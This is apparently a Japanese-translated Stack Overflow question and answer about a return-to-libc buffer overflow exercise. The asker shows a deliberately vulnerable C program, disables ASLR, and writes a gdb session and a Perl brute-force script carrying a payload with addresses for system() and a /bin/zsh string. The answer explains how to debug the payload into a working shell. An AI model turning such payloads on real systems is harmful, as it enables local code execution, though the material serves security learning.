6

バッファ オーバーフロー、特に libc への復帰をいじっています。

次の脆弱なコードがあります。

#include<stdio.h>
#include<string.h>

main( int argc, char **argv)
{
    char buffer[80];
    getchar();
    strcpy(buffer, argv[1]);
    return 1;
}

フラグ-fstack-protector付きの gcc-2.95 (no ) を使用してコンパイルしました。「Hacking: The Art of Exploitation」の-mpreferred-stack-boundary=2libc への復帰の章に従いました。

まず、ASLR を無効にしました。

$ cat /proc/sys/kernel/randomize_va_space 
0

のアドレスを知りましたsystem:

$ cat find_system.c
int main() {
    system("");
    return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>

以下を使用して実行するコマンドを含む環境変数を作成しましたsystem

$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
    return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d

次に、シェルの取得を自動化するための perl スクリプトを作成しました。

$ cat script.pl
#!/usr/bin/perl

for ($i = 1; $i < 200; $i++) {
    print "Perl count: $i\n";
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");

}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)

どこで私は間違えましたか?シェルの代わりに「不正な命令」が表示されるのはなぜですか?

4

1 に答える 1

6
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'

「A」の数を変えて、さまざまな失敗をテストします。in find python -c "print 'A'*73"(上記を生成するために使用される 73) は、引数の生成に役立ちます。

gdb は、クラッシュしている場所とクラッシュ時の EIP/RIP の内容を正確に教えてくれます。これにより、質問に対する回答が得られるはずです。

ほとんどの場合、スタックの戻りアドレスで適切なポインターを取得しておらず、有効な命令に逆アセンブルしないメモリに実行が到達しています。近くにいると思います。セグメンテーション違反は、割り当てられていないメモリ領域に実行が着陸する可能性が高くなります。

(gdb) x/10i $eipクラッシュ時に EIP にある命令を識別するために使用します。そのコマンドの 10 を変更することで、表示される逆アセンブリの長さを変えることができます。

また、システムへの引数がスタックのどこに着地するかを把握して、システムがそれを呼び出すように呼び出し規約の適切な場所に配置する必要もあります。ここでも gdb が役に立ちます (ここでもx-x/4wたぶん - と を使用してくださいi r)。

悪用を成功させるには、上記の両方の要素が必要です。0xb7eb6680 はリターン アドレスにある必要があり、0xbffff96d はシステムが最初の引数を読み取る場所にある必要があります。

もう 1 つの便利なトリック:関数retの最後にブレークポイントを設定しstrcpyます。これは、スタックとレジスタの状態を検査し、何をしようとしているのかを特定するのに便利な場所です。エクスプロイトが発生する場所です。ret指定した戻りアドレスが読み取られ、プロセッサがそのアドレスで実行を開始し、呼び出しているものに対して適切な引数を使用して実行を維持できると仮定すると、オフになります。このときのプログラムの状態は次のとおりですret。入力のどこが間違っているのか、なぜ脆弱性を悪用するのか、または悪用しないのかを確認するのに最も簡単な場所です。

私のgdb構文がうまくいかない場合は許してください...それは私の主要なデバッガーではありません。

于 2012-11-27T01:56:44.713 に答える